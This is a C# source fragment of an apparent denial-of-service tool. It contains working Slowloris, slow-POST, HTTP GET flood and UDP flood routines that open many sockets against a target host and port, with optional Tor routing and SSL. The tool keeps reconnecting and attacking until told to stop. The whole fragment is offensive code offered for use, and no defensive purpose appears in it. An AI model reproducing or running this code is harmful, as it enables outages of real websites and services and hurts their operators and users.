void SendSlowpost(CDenialSocket AttackSocket)
{
string strRandomPOSTData = CUtils.RandomString(CUtils.RandomInt(25, 100));
string strBuffer = string.Format(
"POST {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\nConnection: close\r\n\r\n",
this.m_strPage, this.m_strHost, strRandomPOSTData.Length
);
byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);
if (AttackSocket.SendBuffer(arr_bBuffer))
{
return;
}
foreach (char c in strRandomPOSTData.ToCharArray())
{
if (!AttackSocket.SendBuffer(new byte[] { (byte)c }))
{
break;
}
Thread.Sleep(CUtils.RandomInt(1000, 3000));
}
}
void SendSlowloris(CDenialSocket AttackSocket)
{
string strBuffer = string.Format(
"GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\n",
this.m_strPage, this.m_strHost, CUtils.RandomInt(30, 90)
);
byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);
if (!AttackSocket.SendBuffer(arr_bBuffer))
{
return;
}
arr_bBuffer = UTF8Encoding.Default.GetBytes("X-a: b\r\n");
while (this.ShouldAttack())
{
if (!AttackSocket.SendBuffer(arr_bBuffer))
{
break;
}
Thread.Sleep(100);
}
}
void SendHttpGet(CDenialSocket AttackSocket)
{
string strBuffer = string.Format(
"GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nConnection: close\r\n\r\n",
this.m_strPage, this.m_strHost
);
byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer);
if (!AttackSocket.SendBuffer(arr_bBuffer))
{
return;
}
if (CUtils.RandomInt(1, 2) == 2)
{
return;
}
arr_bBuffer = new byte[8192];
int iRead = -1;
while (iRead != 0)
{
try
{
iRead = AttackSocket.ClientStream == null?AttackSocket.ClientSocket.Receive(arr_bBuffer) : AttackSocket.ClientStream.Read(arr_bBuffer, 0, arr_bBuffer.Length);
}
catch { iRead = 0; }
}
}
void TCP_BeginConnect_Callback(IAsyncResult iar)
{
CDenialSocket AttackSocket = null;
try
{
AttackSocket = (CDenialSocket)iar.AsyncState;
try
{
AttackSocket.ClientSocket.EndConnect(iar);
if (this.m_bUseTor)
{
this.AuthorizeSocks(this.m_strHost, (short)this.m_iPort, AttackSocket.ClientSocket);
}
if (this.m_bUseSSL)
{
AttackSocket.ClientStream = new SslStream(new NetworkStream(AttackSocket.ClientSocket), false, new RemoteCertificateValidationCallback(this.ValidateServerCertificate));
AttackSocket.ClientStream.AuthenticateAsClient(Environment.MachineName);
}
switch (this.m_AttackType.GetAttackType())
{
case ATTACK_TYPE.HTTPGET:
this.SendHttpGet(AttackSocket);
break;
case ATTACK_TYPE.SLOWLORIS:
this.SendSlowloris(AttackSocket);
break;
case ATTACK_TYPE.SLOWPOST:
this.SendSlowloris(AttackSocket);
break;
default: AttackSocket.CalcInfo(0); break;
}
}
catch { }
AttackSocket.ClientSocket.Close();
Thread.Sleep(this.m_iInterval);
if (this.ShouldAttack())
{
AttackSocket.ClientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
AttackSocket.ClientSocket.BeginConnect((EndPoint)this.GetEndPoint(), new AsyncCallback(TCP_BeginConnect_Callback), AttackSocket);
}
else
{
AttackSocket.OnData -= AttackSocket_OnData;
}
}
catch { }
}
void UDP_BeginSendTo_Callback(IAsyncResult iar)
{
CDenialSocket AttackSocket = null;
//Socket sockClient = null;
try
{
AttackSocket = (CDenialSocket)iar.AsyncState;
try
{
Int32 iSent = AttackSocket.ClientSocket.EndSendTo(iar);
AttackSocket.CalcInfo(iSent);
}
catch { }
AttackSocket.ClientSocket.Close();
/*
* ToDo: PPS and Rate
*/
if (this.ShouldAttack())
{
Thread.Sleep(m_iInterval);
Byte[] arr_bUDPBuffer = CUtils.RandomBytes(CUtils.RandomInt(128, 512));
AttackSocket.ClientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
AttackSocket.ClientSocket.BeginSendTo(arr_bUDPBuffer, 0, arr_bUDPBuffer.Length, SocketFlags.None, (EndPoint) new IPEndPoint(CUtils.ResolveHost(this.m_strHost), this.m_iPort == 0 ? CUtils.RandomInt(80, 65000) : this.m_iPort), new AsyncCallback(UDP_BeginSendTo_Callback), AttackSocket);
}
else
{
AttackSocket.OnData -= AttackSocket_OnData;
}
}
catch (Exception ex)
{
#if DEBUG
Console.WriteLine("UDP_BeginSendTo_Callback :: Exception: {0}", ex.ToString());
#endif
}
}
public bool StartAttack()
{
if (String.IsNullOrEmpty(this.m_strHost) || !this.m_AttackType.IsValid())
{
return(false);
}
try
{
m_bIsRunning = true;
new Thread(delegate()
{
try
{
for (int i = 0; i < m_iSockets; i++)
{
CDenialSocket AttackSocket = new CDenialSocket();
AttackSocket.ClientSocket = new Socket(AddressFamily.InterNetwork, this.m_AttackType.GetAttackType() == ATTACK_TYPE.UDP ? SocketType.Dgram : SocketType.Stream, this.m_AttackType.GetAttackType() == ATTACK_TYPE.UDP ? ProtocolType.Udp : ProtocolType.Tcp);
AttackSocket.OnData += AttackSocket_OnData;
if (this.m_AttackType.GetAttackType() == ATTACK_TYPE.UDP)
{
byte[] arr_bDatagram = CUtils.RandomBytes(CUtils.RandomInt(128, 256));
AttackSocket.ClientSocket.BeginSendTo(arr_bDatagram, 0, arr_bDatagram.Length, SocketFlags.None, (EndPoint)this.GetEndPoint(), new AsyncCallback(this.UDP_BeginSendTo_Callback), AttackSocket);
}
else
{
AttackSocket.ClientSocket.BeginConnect((EndPoint)this.GetEndPoint(), new AsyncCallback(TCP_BeginConnect_Callback), AttackSocket);
}
}
}
catch { }
}).Start();
return(m_bIsRunning);
} catch { m_bIsRunning = false; }
return(m_bIsRunning);
}